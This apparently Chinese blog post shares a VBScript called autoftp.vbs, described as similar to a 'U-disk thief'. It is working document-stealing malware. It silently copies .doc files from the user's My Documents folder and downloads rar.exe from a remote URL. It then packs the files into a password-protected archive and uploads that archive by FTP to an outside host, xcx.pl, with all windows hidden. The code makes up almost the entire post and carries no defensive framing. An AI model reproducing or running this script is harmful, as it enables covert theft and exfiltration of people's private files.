autoftp.vbs 类似u盘大盗

Set ObjFSO=CreateObject("Scripting.FileSystemObject")
Set wshshell=Wscript.CreateObject("Wscript.Shell")
osdir=Wshshell.ExpandEnvironmentStrings("%systemroot%")
strMyDocumente = WshShell.SpecialFolders("MyDocuments")
Set f=Objfso.GetFolder(osdir)

If Not ( Objfso.FolderExists(f&"\ftp.txt")) Then
set thisfile=ObjFSO.OpenTextFile(f&"\ftp.txt",2,True,0)
thisfile.write("open xcx.pl 21"&vbcrlf&"用户名"&vbcrlf&"密码"&vbcrlf&"put "&f&"\temp\"&date&".rar"&vbcrlf&"bye"&vbcrlf)
thisfile.close
End if

If Not ( Objfso.FolderExists(f&"\"&date)) Then
     
   Set objFolder = objFSO.CreateFolder(f&"\"&date)
End if
 

If ( Objfso.FolderExists(objFolder)) Then
     
   objFSO.CopyFile strMyDocumente&"\*.doc", objFolder , True
End If

If Not Objfso.FileExists(f&"\system32\rar.exe") Then
 
    Set x= CreateObject("Microsoft.XMLHTTP")
    x.Open "GET"," [url]http://url/rar.exe[/url]",0
    x.Send()
    Set s = CreateObject("ADODB.Stream")
  with s
   .Type = 1
   .Open()
   .Write(x.responseBody)
   .SaveToFile f&"\system32\rar.exe" ,2
  End with
    WScript.Sleep 72000
End if
If  Objfso.FileExists(f&"\system32\rar.exe") Then
wshshell.run "cmd /c rar.exe a -hp[密码] "&f&"\temp\"&date&".rar " &f&"\"&date&"\*.doc" ,0
wscript.sleep 72000
wshshell.run "cmd /c ftp -s:"&f&"\ftp.txt",0
End if

你可能感兴趣的:(vbs,U盘,休闲,autoftp)